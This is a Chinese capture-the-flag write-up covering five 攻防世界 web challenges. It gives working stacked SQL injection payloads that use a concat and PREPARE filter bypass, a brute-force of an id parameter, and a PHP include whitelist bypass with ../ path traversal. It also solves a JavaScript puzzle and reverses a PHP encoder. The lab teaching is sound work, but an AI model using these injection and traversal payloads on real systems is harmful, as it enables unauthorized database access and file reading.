攻防世界 - Web(二)
supersqli:
(!!!)
1.判断有误注入,1'报错, 1’ 报错,1’# 正常且为True,1’ and 1=1# 正常且为True,1’ and 1=2# 正常且为False,所以它里边存在注入。
2.
inject=1’;show databases;#

3.
inject=1';show tables;#

4.看一下这几个表
1’;show columns from words;#
1’;show columns from `1919810931114514`;# (字符串为表名操作时要加反引号)
1’;show columns from hahahah;#
最后发现在1919810931114514这个表里

5.然后用concat绕过
1';use supersqli;set @sql=concat(‘s’,'elect * from 1919810931114514');PREPARE pre FROM @sql;EXECUTE pre;–+

flag:
flag{c168d583ed0d4d7196967b28cbd0b5e9}
参考:
https://blog.csdn.net/gongjingege/article/details/107576587
ics-06:
1.点击各个按钮,发现“报表中心”点击后有新页面,并发现有index.php和id索引,

2.修改id值,发现并没有其他页面,尝试暴力破解,


3.id=2333时长度值不同,测试得到flag,

flag:
cyberpeace{1fccd89a11e8ee7bc82ee1ccc7288487}
warmup:
1.进入页面,发现是一张“滑稽”......啊这......打开控制台,发现source.php,


2.进入source.php,

3.将source.php改为hint.php,发现并没有什么乱用,

4.依然查看源码,最后if的三个判断条件,
①! empty($_REQUEST['file'])
//要求file变量不为空
②is_string($_REQUEST['file'])
//检查是否为字符串
③emmm::checkFile($_REQUEST['file']
//利用函数进行检查
5.对函数进行分析,
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
} if (in_array($page, $whitelist)) {
return true;
}
//传入的参数是source.php或者hint.php都返回true
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
//取传进参数首次出现?前的部分,再进行白名单判断,如果还不满足继续往下判断
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
//将传进的参数进行urldecode编码,然后进行上一步判断,都不满足就输出"you can't see it"并且返回假
6.由于是request请求,因此可以利用GET,POST,COOKIE传参(此处使用GET),
7.构造满足第二个判断条件的payload,
http://220.249.52.133:55731/source.php?file=source.php?
http://220.249.52.133:55731/source.php?file=hint.php?
8.构造payload四层目录,
http://220.249.52.133:55731/source.php?file=source.php?../../../../../ffffllllaaaagggg
9.得到flag,

flag:
flag{25e7bce6005c4e0c983fb97297ac6e5a}
补充:
include函数某个功能:以字符‘/’分隔(而且不计个数),若是在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
include
(PHP 4, PHP 5, PHP 7)
include 语句包含并运行指定文件。 以下文档也适用于 require。
被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则 include 结构会发出一条警告;这一点和 require 不同,后者会发出一个致命错误。 如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以 / 开头)还是当前目录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如一个文件以 ../ 开头,则解析器会在当前目录的父目录下寻找该文件。 有关 PHP 怎样处理包含文件和包含路径的更多信息参见 include_path 部分的文档。 当一个文件被包含时,其中所包含的代码继承了 include 所在行的变量范围。从该处开始,调用文件在该行处可用的任何变量在被调用的文件中也都可用。不过所有在包含文件中定义的函数和类都具有全局作用域。
mb_strpos
(PHP 4 >= 4.0.6, PHP 5, PHP 7) mb_strpos — 查找字符串在另一个字符串中首次出现的位置
mb_strpos():返回要查找的字符串在别一个字符串中首次出现的位置 语法:
mb_strpos (haystack ,needle ) 参数:
haystack:要被检查的字符串。
needle:要搜索的字符串。
mb_substr() 函数返回字符串的一部分,之前我们学过 substr() 函数,它只针对英文字符,如果要分割的中文文字则需要使用 mb_substr()。 注释:如果 start 参数是负数且 length 小于或等于 start,则 length 为 0。
语法
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string 参数 描述
str 必需。从该 string 中提取子字符串。 start 必需。规定在字符串的何处开始。
正数 - 在字符串的指定位置开始
负数 - 在从字符串结尾的指定位置开始
0 - 在字符串中的第一个字符处开始 length 可选。规定要返回的字符串长度。默认是直到字符串的结尾。
正数 - 从 start 参数所在的位置返回
负数 - 从字符串末端返回 encoding 可选。字符编码。如果省略,则使用内部字符编码。
参考:
https://blog.csdn.net/tch3430493902/article/details/103928125/
https://blog.csdn.net/qq_42016346/article/details/104199710
NaNNaNNaNNaN-Batman:
1.下载附件,用记事本打开发现是乱码,用winhex打开,发现是一段hmtl代码,

2.将拓展名改为.html并打开,

3.随便输入一段字符,点击“Ok”发现没有反应,查看代码可以发现,_是一个变量,

因此将末尾的eval()函数改为alert()函数,再次打开网页,出现弹窗,并得到可阅读的代码,

4.整理代码,
function $()
{
var e=document.getElementById("c").value;
if(e.length==16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
{ var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
}
}
document.write('<input id="c"><button onclick=$()>Ok</button>');
delete _
5.根据代码中if的条件,依次满足:长度为16,be0f23开头,e98aa结尾,包含233ac,包含c7be9,则:
be0f233ac7be98aa
注意:正则表达式,^为开始符,$为结束符
6.将之前修改的alert()函数改回eval()函数,打开该html文件,输入5中的字符串,

7.另外,还可以在控制台直接复制以下代码,
var t=["fl","s_a","i","e}"];
var n=["a","_h0l","n"];
var r=["g{","e","_0"];
var i=["it'","_","n"];
var s=[t,n,r,i];
for(var o=0;o<13;++o)
{
document.write(s[o%4][0]);
s[o%4].splice(0,1)
}
flag:
flag{it's_a_h0le_in_0ne}
具体参考:
https://www.cnblogs.com/meibumei/p/12876150.html
web2:
1.进入页面,是一段代码,而且思路已给出,
<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws"; function encode($str){
$_o=strrev($str);
//
// echo $_o; for($_0=0;$_0<strlen($_o);$_0++){ $_c=substr($_o,$_0,1);
$__=ord($_c)+1;
$_c=chr($__);
$_=$_.$_c;
}
return str_rot13(strrev(base64_encode($_)));
}
highlight_file(__FILE__);
/*
逆向加密算法,解密$miwen就是flag
*/
?>
2.编写逆向代码,
<?php
$str='a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws';
$_ = base64_decode(strrev(str_rot13($str)));
$_o=NULL;
for($_0=0;$_0<strlen($_);$_0++){ $_c=substr($_,$_0,1); $__=ord($_c)-1; $_c=chr($__); $_o=$_o.$_c;
}
echo strrev($_o);
?>
3.得到flag,

flag:
flag:{NSCTF_b73d5adfb819c64603d7237fa0d52977}
补充:
str_rot13() 函数对字符串执行 ROT13 编码。 ROT13 编码把每一个字母在字母表中向前移动 13 个字母。数字和非字母字符保持不变。 提示:编码和解码都是由相同的函数完成的。如果您把已编码的字符串作为参数,那么将返回原始字符串。
strrev() 函数反转字符串。
ord() 函数返回字符串的首个字符的 ASCII 值。
chr (PHP 4, PHP 5, PHP 7) chr — 返回指定的字符
说明
chr ( int $ascii ) : string 返回相对应于 ascii 所指定的单个字符。 此函数与 ord() 是互补的。
参考:
https://blog.csdn.net/weixin_42499640/article/details/99102049
攻防世界 - Web(二)的更多相关文章
- 攻防世界web新手区
攻防世界web新手区 第一题view_source 第二题get_post 第三题robots 第四题Backup 第五题cookie 第六题disabled_button 第七题simple_js ...
- 攻防世界Web刷题记录(新手区)
攻防世界Web刷题记录(新手区) 1.ViewSource 题如其名 Fn + F12 2.get post 3.robots robots.txt是搜索引擎中访问网站的时候要查看的第一个文件.当一个 ...
- 攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup
攻防世界 WEB 高手进阶区 csaw-ctf-2016-quals mfw Writeup 题目介绍 题目考点 PHP代码审计 git源码泄露 Writeup 进入题目,点击一番,发现可能出现git ...
- 攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup
攻防世界 WEB 高手进阶区 XCTF Web_python_template_injection Writeup 题目介绍 题目考点 SSTI模板注入漏洞 Writeup 知识补充 模板注入:模板引 ...
- 攻防世界 WEB 高手进阶区 PHP2 Writeup
攻防世界 WEB 高手进阶区 PHP2 Writeup 题目介绍 题目考点 url 二次解码 index.phps 文件(第一次使用dirsearch可能扫不到,需要加到工具字典里) php 简单语法 ...
- 攻防世界 WEB 高手进阶区 tinyctf-2014 NaNNaNNaNNaN-Batman Writeup
攻防世界 WEB 高手进阶区 tinyctf-2014 NaNNaNNaNNaN-Batman Writeup 题目介绍 题目考点 了解js代码(eval函数.splice函数) 了解正则 Write ...
- 攻防世界web进阶题—unfinish
攻防世界web进阶题-unfinish 1.看一下题目提示SQL 2.打开题目看一下源码,没有问题 3.查一下网站的组成:php+Apache/2.4.7+Ubuntu 4.扫一下目录,扫到一个注册页 ...
- CTF--web 攻防世界web题 robots backup
攻防世界web题 robots https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=506 ...
- CTF--web 攻防世界web题 get_post
攻防世界web题 get_post https://adworld.xctf.org.cn/task/answer?type=web&number=3&grade=0&id=5 ...
- 攻防世界 web进阶练习 NewsCenter
攻防世界 web进阶练习 NewsCenter 题目是NewsCenter,没有提示信息.打开题目,有一处搜索框,搜索新闻.考虑xss或sql注入,随便输入一个abc,没有任何搜索结果,页面也没有 ...
随机推荐
- 教你用python爬取抖音app视频
记录一下如何用python爬取app数据,本文以爬取抖音视频app为例. 编程工具:pycharm app抓包工具:mitmproxy app自动化工具:appium 运行环境:windows10 思 ...
- .net core 3.1 过滤器(Filter) 与中间件与AOP面向切面 与拦截器及其应用
Filter(过滤器) 总共有五种,Authorization Filter,Resource Filter,Exception Filter,Action Filter,Result Filter ...
- 为什么会有kafka消息系统?小问题藏着大细节!
前言:老刘今天写这篇文章首先想对一些复制粘贴的博客表达不满:其次是想用通俗易懂的话解释消息系统:最后欢迎各位英雄好汉.女中豪杰前来battle. 1. 为什么有消息系统? 1.1 背景 今天复习kaf ...
- java动态代理实现与原理详细分析(转)
关于Java中的动态代理,我们首先需要了解的是一种常用的设计模式--代理模式,而对于代理,根据创建代理类的时间点,又可以分为静态代理和动态代理. 一.代理模式 代理模式是常用的java设计模式, ...
- 10分钟带你入门git到github
git的产生背景 开局先来一个故事吧,故事看完如果不想看枯燥无味的指令,没关系我已经把这篇文章的内容录制成了一个视频,点击文末阅读原文就可以观看.或者说你已经熟练掌握git的使用了,可以直接跳到总结部 ...
- positive-unlabeled (PU) learning
PULearning的应用场景是,我们可以清晰地确定正样本,但是不能确定负样本,因为它有可能是正样本,只是我们还没有证明. 这时我们可以把这部分不确定的样本称为无标签样本U,加上正样本P来建立模型. ...
- 96. Unique Binary Search Trees1和2
/* 这道题的关键是:动态表尽量的选取,知道二叉搜索树中左子树的点都比根节点小,右子树的点都比根节点大 所以当i为根节点,左子树有i-1个点,右子树有n-i个点,左右子树就可以开始递归构建,过程和一开 ...
- Vue知识点精简汇总
一. 组件component 1. 什么是组件? 组件(Component)是 Vue.js 最强大的功能之一.组件可以扩展 HTML 元素,封装可重用的代码组件是自定义元素(对象) 2. 定义组件的 ...
- spring boot集成mybatis-plus插件进行自定义sql方法开发时报nested exception is org.apache.ibatis.binding.BindingException: Invalid bound statement (not found):
spring boot集成mybatis-plus插件进行自定义sql方法开发时报nested exception is org.apache.ibatis.binding.BindingExcept ...
- 备战金三银四!一线互联网公司java岗面试题整理:Java基础+多线程+集合+JVM合集!
前言 回首来看2020年,真的是印象中过的最快的一年了,真的是时间过的飞快,还没反应过来年就夸完了,相信大家也已经开始上班了!俗话说新年新气象,马上就要到了一年之中最重要的金三银四,之前一直有粉丝要求 ...